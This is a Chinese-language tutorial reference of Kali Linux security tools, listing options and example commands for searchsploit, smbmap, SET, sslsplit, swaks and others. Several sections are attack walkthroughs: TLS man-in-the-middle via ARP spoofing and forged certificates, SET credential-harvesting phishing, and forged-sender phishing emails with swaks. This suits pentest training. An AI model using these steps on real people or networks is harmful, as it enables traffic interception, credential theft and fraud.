-m, --mirror [EDB-ID]将一个漏洞利用镜像(副本)到当前工作目录,后面跟漏洞ID号

-o, --overflow [Term]Exploit标题被允许溢出其列

-p, --path[EDB-ID]显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号

-t, --title[Term]仅仅搜索漏洞标题(默认是标题和文件的路径)

-u, --update检查并安装任何exploitdb软件包更新(deb或git)

-w, --www [Term]显示Exploit-DB.com的URL而不是本地路径(在线搜索)

-x, --examine[EDB-ID]使用$ PAGER检查(副本)漏洞利用

-v --verbose 显示更多的输出信息

--colour在搜索结果中禁用颜色突出显示.

--id显示EDB-ID值而不是本地路径

--nmap[file.xml]使用服务版本检查Nmap XML输出中的所有结果(例如:nmap -sV -oX file.xml)

示例:

漏洞更新

searchsploit -u

image-20220414230003508

基本搜索

基本搜索会同时匹配标题和路径中的内容

如:searchsploit smb windows remoteimage-20220414230303361

标题搜索

标题搜索只匹配标题,不会对路径中的关键词进行匹配

如:searchsploit -t smb windows remote

image-20220414230457966

联网搜索

searchsploit EternalBlue

image-20220414230543336

复制到文件夹

不建议在本地的漏洞数据库中修改exp,建议使用-m

参数复制那些有用的到当前的工作目录

如:searchsploit -m 42031.py

image-20220414230612328

复制到剪贴板

-p参数可以获取更多关于该漏洞的信息,以及将完整的路径复制到剪贴板上(如果可能的话)

如:searchsploit -p 42031.py

删除不想要的结果

使用–exclude=选项删除不想要的结果

如:searchsploit smb windows remote –exclude=”(POC)|txt”

image-20220414230709775利用管道输出(删除不想要的结果的另一种方法)

如:searchsploit smb windows remote | grep rb只显示rb文件

image-20220414230741306

shellter

描述:

Shellter 是将代码注入到正常的PE文件当中,将有效载荷重新编码(此处为 shellcode)以绕过防病毒 (AV) 软件,而且必须是32位的程序,应用程序的 PE(可移植可执行文件)文件格式的动态感染器。

参数:

https://blog.csdn.net/weixin_44420143/article/details/118599206

smbmap

描述:

image-20220414233132459

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
主要参数:
-H HOST
主机IP

--host-file FILE
包含主机列表的文件

-u USERNAME
用户名,如果省略,则假定为空会话

-p PASSWORD
密码或NTLM哈希

-s SHARE
指定份额(默认为C $),例如“ C $”

-d DOMAIN
域名(默认为WORKGROUP)

-P PORT
SMB端口(默认为445)

命令执行:
在指定主机上执行命令的选项
-x COMMAND
执行命令ex。 'ipconfig /all'

文件系统搜索:
用于搜索/枚举指定主机的文件系统的选项
-L
列出指定主机上的所有驱动器

-R [PATH]
递归列出目录和文件(没有共享\路径列出所有共享),例如。 C $ \ Finance

-r [PATH]
列出目录的内容,默认为列出所有共享的根目录,例如。 -r'C $ \ Documents and Settings \ Administrator \ Documents'

-A PATTERN
定义一个文件名模式(正则表达式),该文件名根据匹配项自动下载文件(要求-R或-r),不区分大小写,例如'(web | g

snmp-check

描述:

工具可以完成snmp检测

什么是是那么snmp呢?

1
2
3
简单网络管理协议(SNMP) 是专门设计用于在 IP 网络管理网络节点(服务器、工作站、路由器、交换机及HUBS等)的一种标准协议,它是一种应用层协议。
SNMP的前身是简单网关监控协议(SGMP),用来对通信线路进行管理。随后,人们对SGMP进行了很大的修改,特别是加入了符合Internet定义的SMI和MIB,改进后的协议就是著名的SNMP。基于TCP/IP的SNMP网络管理框架是工业上的现行标准,由3个主要部分组成,分别是管理信息结构SMI(Structure ofManagement Information)、管理信息库MIB和管理协议SNMP。
https://baike.baidu.com/item/%E7%AE%80%E5%8D%95%E7%BD%91%E7%BB%9C%E7%AE%A1%E7%90%86%E5%8D%8F%E8%AE%AE/2986113?fromtitle=SNMP&fromid=133378&fr=aladdin

参数:

snmp-check 【选项】 <目标ip>

-t是指定请求超时的参数,不指定该参数则默认为5s。

snmp-check <目标ip>

snmp-check -t 10 <目标ip>

这样就能够获取你想要的信息啦。image-20220415125758817

social engineering toolkit

描述:

社会工程学工具集,里面包含了许多社会工程学攻击的工具

参数:

缩写 setoolkit

image-20220415130821646image-20220415130853813

4选项是更新升级set,我们这里不做演示
5选项是更新set的设置,这里也不做演示
6选项主要是一些帮助菜单,说明等,这里也不做演示

我们主要演示1,2,3

先来看看2image-20220415131005399

这是渗透测试,主要用于快速攻击
因为我们提到过,set主要用途是用于社会工程学的钓鱼攻击,钓鱼是需要耐心的,可能需要等待很久,相比之下,渗透测试更加迅速。
所以在实践钓鱼之前,我们先来看看渗透测试

上图中可以看到有很多攻击向量可以选择,我们这边输入2,选择自定义的expimage-20220415131137164

可以看到神器08-067也在
我们就不同它了,换一个,比如说可以dos的释放后重利用UAF的exp
选择4并回车image-20220415131159961

接下来输入我们要攻击的靶机的ip就可以开始攻击了

第三方模块的学习。接下来再介绍下启动之后的3选项

image-20220415131304530

选用这个谷歌模块,这个模块是基于google analytics进行攻击的
Google analytics用于评估广告的投资回报率,并对您的 Flash、视频以及社交网络网站和应用进行跟踪,大多数有投放广告的站点上都有它的存在,可见攻击范围还是很广的

image-20220415131427589

模式选择自动模式
输入automaticimage-20220415131516266

接下来输入目标站点
就可以开始自动分析、攻击的流程了

社会工程学钓鱼攻击学习。
最后,我们实践一个set最典型的用法—钓鱼攻击,使用的是启动之后的1选项(即社会工程学攻击)

选择1,并回车,表示社会工程学攻击

image-20220415131623701

在接下来显示的选项里我们输入2并回车,表示网页攻击向量

image-20220415131636039

然后输入3
凭证搜集攻击方法
(意思是我们使用这种方法可以通过钓鱼网站来获得受害人的用户名、密码等敏感信息)

image-20220415131935036

选择想用的 然后输入ip即可

sorter

描述:

image-20220415132533561

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
必需的参数如下。 这将分析一个或多个图像,并将结果保存在“ -d”目录中或将结果列出到STDOUT(如果给出了“ -l”)。

-d dir
指定应写入所有文件的位置。 如果给出了“ -s”标志,则包括索引文件和子目录。 除非给出“ -l”列表标志,否则必须给出这个。

-l
将信息列出到STDOUT(永远不会写入文件)。 这对于使用“ netcat”的事件响应很有用。 如果使用“ -d”,则无法使用。

image [images]
要读取的磁盘或分区映像,其格式以“ -i”给出。 如果将图像分为多个段,则可以指定多个图像文件名。 如果仅给出一个图像文件,并且其名称是序列中的第一个图像文件(例如,以'.001'结尾的文件),则后续的图像段将自动包含在内。

选项如下:

-f fstype
指定图像的文件系统类型。 这与侦探工具包使用的类型相同。

-i imgtype
指定文件系统所在的图像类型。这与Sleuth Kit使用的图像类型相同。

-o imgoffset
指定从映像开头到文件系统开头的扇区偏移量。

spiderfoot

描述:

SpiderFoot 是另一个免费的开源工具,可以自动化 OSINT 流程。它能够收集有关 IP、域、网络和人员的信息。SpiderFoot 是用 Python 编写的,具有简单易用的用户界面。它使用 100 多个公共信息资源并分析从 DNS 服务器、电子邮件、IP 等收集的数据。

OSINT是什么?

1
2
3
4
5
6
OSINT(开源情报)是在公共领域可用的数据,它可能揭示关于目标的有趣信息。这包括DNS、Whois、网页、被动DNS、垃圾邮件黑名单、文件元数据、威胁情报列表以及SHODAN、HaveIBeenPwned?和更多。

作者:Threathunter
链接:https://www.jianshu.com/p/4c61ecafe405
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

参数:

image-20220415133315964

命令行模式看不懂

直接docker装一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
yum install -y  yum-utils   device-mapper-persistent-data   lvm2 #安装docker依赖
yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo #下载源
yum update #更新源信息
yum install -y docker-ce docker-ce-cli containerd.io # 安装docker
systemctl start docker #启动docker
systemctl enable docker #加入开机启动
git clone https://github.com/smicallef/spiderfoot.git #下载git包
cd spiderfoot #进入目录
docker build -t spiderfoot . #dockerfile构建镜像文件(注意后面有一点)
docker run -p 5009:5001 -d spiderfoot #启动容器
docker ps #查看容器
docker exec -it [container_addr] /bin/sh #进入容器
python ./sfcli.py -s http://localhost:5009 # 执行脚本

image-20220415135322593

使用

输入信息进行查找,可以是电话、姓名、域名、子网、ipv4、ipv6等。

image-20220415135445995

下面对扫描的信息进行细化,找到自己想要的信息。
这里可以看到与扫描内容相关联的其他信息。

image-20220415135638806

下面对扫描的信息进行细化,找到自己想要的信息。
这里可以看到与扫描内容相关联的其他信息。

image-20220415135804580

spooftooph

描述:

Spooftooph是一个了不起的工具,旨在自动欺骗或克隆蓝牙信息(名称,类和地址)。欺骗蓝牙信息对于许多目的是有用的,例如将蓝牙设备隐藏在普通站点中,访问受保护的信息和观察。
这是它的特点:

  • 克隆并记录蓝牙设备信息
  • 生成随机的新蓝牙配置文件
  • 每隔X秒更改蓝牙配置文件
  • 指定蓝牙接口的设备信息
  • 从扫描日志中选择要克隆的设备

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
用法:spooftooph -i dev [-mstu] [-nac] | [-R] | [-r file] [-w file] 
-a

:指定新的BD_ADDR
-b :每个要显示的蓝牙配置文件数页面
-B:对于较小的屏幕禁用横幅(如手机)
-c :指定新类
-h:帮助
-i :指定接口
-m:选择在指定多个接口
-n :指定新名称
-r :读入CSV日志文件
-R:分配随机名称,CLASS和ADDR
-s:扫描本地区域中的设备
-t :克隆设备的时间间隔
-u:USB延迟。用于重新初始化接口
-w 的交互式延迟:写入CSV日志文件(在必须通过USB时在虚拟化环境中有用。)

注意: 要修改蓝牙适配器,必须以root权限运行spooftooth。

Spooftooph提供五种使用模式:

指定NAME,CLASS和ADDR。

root @ test:spooftooph -i hci0 -n new_name -a 00:11:22:33:44:55 -c 0x1c010c

随机生成NAME,CLASS和ADDR。

root @ test:spooftooph -i hci0 -R

扫描范围内的设备并选择要克隆的设备。(可选)将设备信息转储到指定的日志文件中。

root @ test:spooftooph -i hci0 -s -w file.csv

从日志文件加载设备信息并指定要克隆的设备信息。

root @ test:spooftooph -i hci0 -r file.csv

每隔x秒在范围内克隆随机设备信息。

root @ test:spooftooph -i hci0 -t 10

hci0为蓝牙驱动名

SQLite database browser

描述:

可视化的数据库浏览器

参数:

image-20220415142708482

sqlmap

描述:

sqlmap 是一个开源渗透测试工具,它可以自动检测和利用 SQL 注入漏洞并接管数据库服务器。它具有强大的检测引擎,同时有众多功能,包括数据库指纹识别、从数据库中获取数据、访问底层文件系统以及在操作系统上带内连接执行命令。

参数:

https://www.freebuf.com/sectool/164608.html

ssldump

描述:

ssldump 是一个 SSL/TLS 网络协议分析工具,弥补了tcpdump在分析SSL/TLS上的不足。ssldump将解码后的内容输出到标准输出stdout。如果能够选择私钥文件,也能够解密出加密链接以及内容。

参数:

使用格式:

1
2
3
4
ssldump [ -vTshVq -aAdeHnNqTxXvy ] [ -i interface ]

[ -k keyfile ] [ -p password ] [ -r dumpfile ]
[ -S [crypto|d|ht|H|nroff] ] [ expression ]

参数选项:Options

1
2
3
4
5
-a
打印空的TCP ACK(用于观察Nagle行为)

-A
打印所有记录字段(默认情况下,ssldump选择最有趣的字段)

示例:Examples

监听eth0、443端口上的网络流量

1
ssldump -i eth0 port 443

监听eth0、443端口上的网络流量,指定网络主机www.abc.com

1
ssldump -i le0 port 443 and host www.abc.com

使用私钥以及密码解密网络流量

1
2
3
Tips: 使用 -k 参数解密需要同时满足以下条件:
1. 使用静态的RSA加密-(DH加密算法无法解密)
2. 有私钥
1
ssldump -Ad -k ~/server.pem -p foobar -i le0 host www.abc.com

https://blog.csdn.net/makenothing/article/details/55803875

sslscan

描述:

SSLscan主要探测基于ssl的服务,如https。SSLscan是一款探测目标服务器所支持的SSL加密算法工具。

SSLScan queries SSL services, such as HTTPS, in order to determine the ciphers that are supported. SSLScan is designed to be easy, lean and fast. The output includes preferred ciphers of the SSL service, the certificate and is in Text and XML formats.

使用HTTPS可以防止中间人攻击,但是只有当配置正确并使用强加密才行。

关于SSL协议的漏洞也爆出了不少。

参数:

image-20220415145137610Heartbleed是TLS实现上的一个漏洞,2014年4月爆出

02e2410fd93fd83d181049d5f4a624a2.png上图显示服务器支持的加密算法,红字认为是不那么安全的加密算法,黄字中等安全。

3b3d57d753519dc285ea23b887a312b0.png

SSL证书信息,RSA key的长度建议是2048 bit。

Kali Linux中还有一个叫SSLyze的工具,配合sslscan获得更多信息:

# sslyze –regular your_target

SSL/TLS信息也可以用OpenSSL命令获得:

# openssl s_client -connect your_target:443

基于sslscan的工具:TLSSLed

它是一个Linux shell脚本,它的功能是测试目标SSL/TLS(HTTPS)WEB 服务器的安全性。

sslsplit

描述:

SSLsplit 是一个针对SSL/TLS加密的网络连接进行攻击,为网络取证和渗透测试的工具。它会终止SSL / TLS和启动一个新的连接到原来的目的地,记录所有传输的数据。它支持普通的TCP和SSL,HTTP和HTTPS,和IPv4和IPv6。为SSL和HTTPS,它生成并签署伪造X509v3证书上飞使用的原始凭证的主题DN和subjectAltName扩展。它支持服务器名称显示,RSA,DSA和ECDSA密钥,DHE 和ECDHE密码套件。如果私钥是可用的,它也可以使用现有的证书。

参数:

利用SSLsplit工具实现TLS/SSL中间人攻击 ARP欺骗

SSL、TLS中间人攻击
利用方法:

1
2
3
4
5
6
ARP地址欺骗
修改DHCP服务器,存在就近原则
手动修改网关
修改DNS设置
修改HOSTS文件
ICMP、STP、OSPF

利用SSLsplit工具实现SSL中间人攻击

1
2
3
4
透明SSL/TLS中间人攻击工具
对客户端伪装成服务器,对服务器伪装成普通客户端
伪装服务器需要伪造证书
支持SSL/TLS加密的SMTP、POP3、FTP等通信中间人攻击

伪造证书
1.利用openssl生成证书私钥

1
openssl genrsa -out ca.key 2048

image-20220415145736625

2.利用私钥签名生成证书

openssl req -new -x509 -days 1096 -key ca.key -out ca.crt 【req:请求;-new:新的;-x509:格式;-days:有效期;-key指定私钥;-out:根证书】

image-20220415145946452

3.开启路由转发功能

启动路由

1
sysctl -w net.ipv4.ip_forward=1 

另一种方法:

1
echo 1 > /proc/sys/net/ipv4/ip_forward

image-20220415150113602

4.设置iptables端口转发规则
1
iptables -t nat -F

清空当前表规则
【-t:指定表;-A PERROUTING:路由前生效;-p:指定协议;–dport:接受流量的端口;-j:指定处理方法(REDIRECT重定向);–to-ports:转发端口】

1
2
3
4
5
6
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 【#HTTP】
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 【#HTTPS】
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 【#MSA】
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 【#SMTPS】
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 【#IMAPS】
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 【#POP3S】

使用下面命令显示所有刚才配置的规则
iptables -t nat -L #显示所有规则image-20220415150955265

5. Arp欺骗 ,截获目标主机的网络流量

arpspoof -i eth0 -t 目标IP -r 目标主机网关【-i:指定网卡;-t:欺骗目标;-r:网关地址】

image-20220415151440684

启动SSLsplit进行攻击

创建目录

1
mkdir -p test/logdir

侦听设定的端口

1
sslsplit -D -l connect.log -j /root/test -S /root/test/logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

image-20220415151526497

出来一大段就对了

7.伪造成功

伪造成功
通过被害机Win7访问https的网站,会出现“安全证书有问题的错误”,若点击接受,则链路被成功劫持,攻击机可嗅探传输的信息,如下图

image-20220415151937155

image-20220415151954484

【在客户端访问攻击机时,sslsplit一瞬间将真实访问站点证书的真实信息收集记录下来,进行伪造浏览器中可查看的证书,以供用户查看】
#在connect.log可查看连接信息

image-20220415152009401

#在test/logdir可查看传输数据  【使用grep命令筛选数据】

image-20220415152902655

#sslsplit会自动进行一定程度的解密,一般可查看到其数据信息

7.安装证书

#当安装过伪造的根证书之后,访问网站的适合,将无告警提示

image-20220415152938826

中间人攻击前提

【以下某一条符合则可】

  1. 客户端已经信任伪造证书颁发机构(安装其根证书)
  2. 攻击者控制了合法证书颁发机构(控制CA服务器,为自己颁发证书)
  3. 客户端程序禁止了显示证书错误告警信息 (程序员个人能力有限)
  4. 攻击者已经控制客户端,并强制其信任伪造证书 (强制安装中间人的根证书)

sslyze

描述:

SSLyze是一款使用python实现的SSL扫描工具,它可以扫描出SSL中一些经典的配置错误。SSLyze还为高级用户提供了一个简单的插件接 口,使得用户可以自由定制SSLyze。 SSLyze开放源代码、跨平台、支持windows/linux 32位和64位系统。

  • 完全documented Python API,以便运行扫描并直接从python处理结果。
  • new:支持tls 1.3和早期数据(0-rtt)测试。
  • 扫描在多个进程之间自动调度,使它们非常快。
  • 性能测试:会话恢复和TLS票证支持。
  • 安全测试:弱密码套件,不安全的重新谈判,机器人,心血等。
  • 通过ocsp装订进行服务器证书验证和吊销检查。
  • 支持smtp、xmpp、ldap、pop、imap、rdp、postgres和ftp上的starttls握手。
  • 扫描结果可以写入xml或json文件以供进一步处理。
  • 还有更多!

参数:

1
2
3
4
5
6
7
8
--version
显示程序的版本号并退出

-h, --help
显示此帮助信息并退出

--regular
定期HTTPS扫描; --sslv2--sslv3--tlsv1--tlsv1_1--tlsv1_2--tlsv1_3--reneg--resum--certinfo--hide_rejected_ciphers--compression--heartbleed--openssl_ccs--fallback--robot的快捷方式

信任商店选项:

1
2
--update_trust_stores
更新SSLyze使用的默认信任库。 最新的商店将从https://github.com/nabla-c0d3/trust_stores_observatory下载。 该选项应单独使用,并将使SSLyze提供的任何其他命令行选项静音。

客户端证书选项

1
2
3
4
5
6
7
8
9
10
11
--cert=CERT
客户端证书链文件名。 证书必须为PEM格式,并且必须从主题的客户证书开始,如果适用,则由中间的CA证书排序。

--key=KEY
客户端私钥文件名。

--keyform=KEYFORM
客户端私钥格式。 DER或PEM(默认)。

--pass=KEYPASS
客户端私钥密码短语。

在线验证ssl网站

https://www.ssllabs.com/ssltest/

stunnel4

描述:

  • 无需修改源代码的情况下将 TCP 流量封装于 SSL 通道内
  • 适用于本身不支持加密传输的应用
  • 支持 openssl 安全特性
  • 跨平台
  • 性能优
  • 在这里插入图片描述

示例:

1. 安装内网 stunnel4 服务器

服务器配置

生成证书:openssl req -new –days 365 -nodes -x509 -out /etc/stunnel/stunnel.pem -keyout /etc/stunnel/stunnel.pem

创建配置文件 /etc/stunnel/stunnel.conf

1
2
3
4
5
6
7
cert = /etc/stunnel/stunnel.pem
setuid = stunnel4
setgid = stunnel4
pid = /var/run/stunnel4/stunnel4.pid
[mysqls]
accept = 0.0.0.0:443
connect = 1.1.1.11:3306

stunnel4 自动启动

  • /etc/default/stunnel4

    • ENABLED=1
  • 启动stunnel4 服务端

    • service stunnel4 start
  • 防火墙规则

    • 端口设置 TCP/443 端口到 stunnel4 服务端 TCP/443
    • 设置防火墙规则

    stunnel4 客户端、

2. 安装 stunnel4 客户端4

  • 安装 stunnel4 客户端

    • kali 自带
  • 客户端配置

    • 创建配置文件 /etc/stunnel/stunnel.conf
    1
    2
    3
    4
    client = yes
    [mysqls]
    accept = 3306
    connect = 192.168.1.11:443

    客户端自动启动

    • /etc/default/stunnel4
      • ENABLED=1

    启动客户端服务

    • service stunnel4 stop / start

    MySQL 客户端连接服务器

    • mysql -u root -h 127.0.0.1

    抓包对比隧道前后差异

安装之前的测试环境

metasploitable:mysql (应用服务端)

1
仅主机:1.1.1.17

image-20220416152535936

m0n0wall

1
2
仅主机:1.1.1.1
桥接:192.168.1.10

在这里插入图片描述

在这里插入图片描述

外网访问192.168.1.10 的mysql

1
2
root@kali:~# mysql -u root -h 192.168.1.10
抓包发现明文显示 mysql 数据包

stunnel 测试环境

  • metasploitable:mysql (应用服务端)

详情看:

https://blog.csdn.net/Kevinhanser/article/details/79857633

swaks

描述:

Swaks是一款类似于“瑞士军刀”的工具,之所以这么说是因为它在SMTP邮件协议领域有非常非常广泛的应用,同时对于一名信息安全高级工程师来说也是一个不错的利用工具!它通常被用来伪造邮件,进行钓鱼、社工等操作,但是这种也是具有一定风险的,同时在这里提醒广大用户在收到邮件时,不要直接打开邮件,先看看邮件的域名以及头标题等信息是否正确,不然一个贸然的操作有时候将可能导致自己被钓鱼甚至攻击!

swaks简介:

Swaks 是由John Jetmore编写和维护的功能强大、灵活、可编写脚本、面向事务的 SMTP 测试工具。同时对于一名信息安全高级工程师来说也是一个不错的利用工具!它通常被用来伪造邮件,进行钓鱼、社工等操作,但是这种也是具有一定风险的,同时在这里提醒广大用户在收到邮件时,不要直接打开邮件,先看看邮件的域名以及头标题等信息是否正确,不然一个贸然的操作有时候将可能导致自己被钓鱼甚至攻击!

下载:

kali 自带

官网:http://www.jetmore.org/john/code/swaks/

GitHub:https://github.com/jetmore/swaks

参数:

-t –to 目标地址 -t test@test.com

-f –from 来源地址 (发件人) -f “text”

–protocol 设定协议(未测试)

–body “http://www.baidu.com“ //引号中的内容即为邮件正文;

–header “Subject:hello” //邮件头信息,subject为邮件标题

-ehlo 伪造邮件ehlo头

–data ./Desktop/email.txt //将正常源邮件的内容保存成TXT文件,再作为正常邮件发送;

使用:

在使用swaks进行伪造邮件时,我们要先确认对方是否开启了spf,如果开启了spf,那么是无法伪造邮件发送的。

nslookup -type=txt qq.com //windows

dig -t txt qq.com //linux

图片

v=spf1 指采用SPF1版本

“v=spf1 -all” (拒绝所有,表示这个域名不会发出邮件)
“v=spf1 +all” (接受所有)
“v=spf1 ip4:192.168.0.1/16 -all”(只允许 192.168.0.1/16 范围内的IP发送邮件)
“v=spf1 mx -all”(允许当前域名的 mx 记录对应的IP地址发送邮件)
“v=spf1 mx mx:test.example.com -all”(允许当前域名和 test.example.com 的 mx 记录对应的IP地址发送邮件)
“v=spf1 a mx ip4:173.194.72.103 -all”(允许当前域名的 a 记录和 mx 记录和一个给定的IP地址发送邮件)
“v=spf1 include:example.com -all”(采用和 example.com 一样的SPF记录)

接下来用临时邮箱做测试

临时邮箱地址:https://www.linshi-email.com/

swaks -to tcqioaccow@iubridge.com

图片

如图所示返回即表示可以进行伪造邮件发送

图片

接下来我们进行伪造发送

swaks –header-X-Mailer “” –header-Message-Id “” –header-“Content-Type”=”text/html” –from “安全测试部” –ehlo shabimeiguo -header “Subject: 测试” –body 我们做了一个测试 –to tcqioaccow@iubridge.com

图片

然后我们这边也成功收到了邮件

图片

我们详细看看内容

图片

其他用法

附件

swaks –header-X-Mailer “” –header-Message-Id “” –header-“Content-Type”=”text/html” –from “安全测试部” –ehlo shabimeiguo -header “Subject: 测试” –body 我们做了一个测试 –to tcqioaccow@iubridge.com –attach 附件.zip

临时邮箱地址:

https://www.linshi-email.com/

基本使用语法:

1、swaks –to test@qq.com //测试邮箱的连通性;

2、参数说明(这里只是简单的罗列了一些,至于更加具体的内容可以使用–help进行查看了解)

1
2
3
4
5
6
7
8
9
--from  test@qq.com     //发件人邮箱;

--ehlo qq.com //伪造邮件ehlo头,即是发件人邮箱的域名。提供身份认证

--body "http://www.baidu.com" //引号中的内容即为邮件正文;

--header "Subject:hello" //邮件头信息,subject为邮件标题

--data ./Desktop/email.txt //将正常源邮件的内容保存成TXT文件,再作为正常邮件发送

实例

伪造一份来自360hr的邮件,收件人为gawpyc04968@chacuo.net,内容为:”Congratulations on your 360 interview. Please click on the link below to enter our employee information page. https://fishing.com/test.php

image-20220416153333493

邮箱查看:

image-20220416153357342

T

tcpreplay

描述:

简单的说, tcpreplay是一种pcap包的重放工具, 它可以将用ethreal, wireshark工具抓下来的包原样或经过任意修改后重放回去. 它允许你对报文做任意的修改(主要是指对2层, 3层, 4层报文头), 指定重放报文的速度等, 这样tcpreplay就可以用来复现抓包的情景以定位bug, 以极快的速度重放从而实现压力测试。

tcpreplay本身包含了几个辅助工具(tcpprep、tcprewrite、tcpreplay和tcpbridge), 用于准备发包的cache, 重写报文等。这也是 Tcpreplay 的第一个字母大写T的原因 。

   * tcpprep - 简单的说就是划分哪些包是client的, 哪些是server的, 一会发包的时候client的包从一个网卡发, server的包可能从另一个网卡发。

        即区分pcap数据包的流向,即区分出客户端和服务器。
  * tcprewrite - 简单的说就是修改2层, 3层, 4层报文头部。

        即改写pcap数据包的2-4层的头部信息,即MAC地址、IP地址和PORT等。
  * tcpreplay - 真正发包, 可以选择主、从网卡, 发包速度等。

        即回放pcap文件中的数据包。

   * tcpreplay-edit-更写pcap数据并回放,将tcprewrite和tcpreplat一条命令实现。
  * tcpbridge - bridge two network segments with the power of tcprewrite。

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
P:<list> – Must be one of the listed packets where the list corresponds to the packet number in the capture file.

Ex: -xP:1-5,9,15 would only send packets 1 through 5, 9 and 15.

根据参数后的参数值(报文编号)发送指定的报文。可以在ethereal中确认报文的编号,然后把需要的报文发送。可以用于排除ARP报文。

F:"<filter>" – BPF filter. See the tcpdump(8) man page for syntax.

未知,以后补充。

-X <match> Send all the packets except those specified

可选参数,就是-x参数的取反,参数内容也是一样。

-v Verbose

可选参数,显示trpprep生成cache文件的处理过程,就是一些信息的即时打印。

-V Version

显示版本号。
Tcpprep使用小结

再构造cache文件的过程中我用的比较多的选项参数就-v、-P、-xB、-xP,一般都是client和server的模式,其它两种模式没有实验过,暂时还不知道怎么使用,bridge模式我使用过一次,结果发现报文是从一个网卡送出。

对于tcp和udp协议都做了测试,是可以支持的,icmp还没有成功。对于网络上的BT报文,只要你有pcap文件,也是可以构造cache文件来模拟完全真实的BT流量。

目前的使用就是这么多,感觉还是很有用的,tcpreplay的参数有一部分是和tcpprep重复,下面的帮助文件说明就不详细说明了,但是特殊有好用的参数会使用蓝色字体标记出来给予重视。存在的不足是还没有学会在nat模式下重放报文,现在所有的报文重放都是在透明模式下完成的。
Tcpreplay帮助文件说明

Usage: tcpreplay [args] <file(s)>

-A "<args>" Pass arguments to tcpdump decoder (use w/ -v)

可选参数,在使用tcpdump风格打印输出信息时,同时再调用tcpdump中的参数,默认已经带有“-n,-l”,所以一般看到的都是ip地址,而没有主机名的打印,注意这个是在tcpreplay使用了-v参数时,才能使用,不带-v不会报错,但是没有实际意义。格式:-vA “nnt”表示以tcpdump风格输出报文信息,并且不打印时间戳、主机名、端口服务名称。注意不要使用-c参数来指定打印的数据报文的个数,这样发送出去的报文也会变少。

-b Bridge two broadcast domains in sniffer mode

可选参数,没有用过

-c <cachefile> Split traffic via cache file

双网卡回放报文必选参数,后面紧跟cache文件名,该文件为tcpprep根据对应的pcap文件构造出来。

-C <CIDR1,CIDR2,…> Split traffic by matching src IP

可选参数,

-D Data dump mode (set this BEFORE -w and -W)

可选参数,把应用层的数据,使用dump mode写入到指定文件中去,和-w、-W参数一起使用。

-e <ip1:ip2> Specify IP endpoint rewriting

可选参数,指定端点的ip,即把发送报文的和接收的报文的ip都修改称对应的参数值中指定的ip,但是这样发送的出的报文不会区分client和server,还没有发现使用的地方。

-f <configfile> Specify configuration file

可选参数,指定配置文件,目前不会使用。

-F Fix IP, TCP, UDP and ICMP checksums

可选参数,在发送报文时,自动纠正错误的校验和。对测试DUT的校验和检验还是有用的。

-h Help

显示帮助文件。

-i <nic> Primary interface to send traffic out of

双网卡回放报文必选参数,指定主接口。

-I <mac> Rewrite dest MAC on primary interface

可选参数,重写主网卡发送出报文的目的MAC地址。

-j <nic> Secondary interface to send traffic out of

双网卡回放报文必选参数,指定从接口。

-J <mac> Rewrite dest MAC on secondary interface

可选参数,重写从网卡发送出报文的目的MAC地址。

-k <mac> Rewrite source MAC on primary interface

可选参数,重写主网卡发送报文的源MAC地址。

-K <mac> Rewrite source MAC on secondary interface

可选参数,重写从网卡发送报文的源MAC地址。

-l <loop> Specify number of times to loop

可选参数,指定循环的次数,测试过程发现不是那么好用,有待确认。

-L <limit> Specify the maximum number of packets to send

可选参数,指定最大的发包数量。可以在确认连接的调试时使用。

-m <multiple> Set replay speed to given multiple

可选参数,指定一个倍数值,就是必默认发送速率要快多少倍的速率发送报文。加大发送的速率后,对于DUT可能意味着有更多的并发连接和连接数,特别是对于BT报文的重放,因为连接的超时是固定的,如果速率增大的话,留在session表中的连接数量增大,还可以通过修改连接的超时时间来达到该目的。

-M Disable sending martian IP packets

可选参数,表示不发送“火星”的ip报文,man文件中的定义是0/8、172/8、255/8。

-n Not nosy mode (not promisc in sniff/bridge mode)

可选参数,在使用-S参数,不对混杂模式进行侦听。没有测试过。

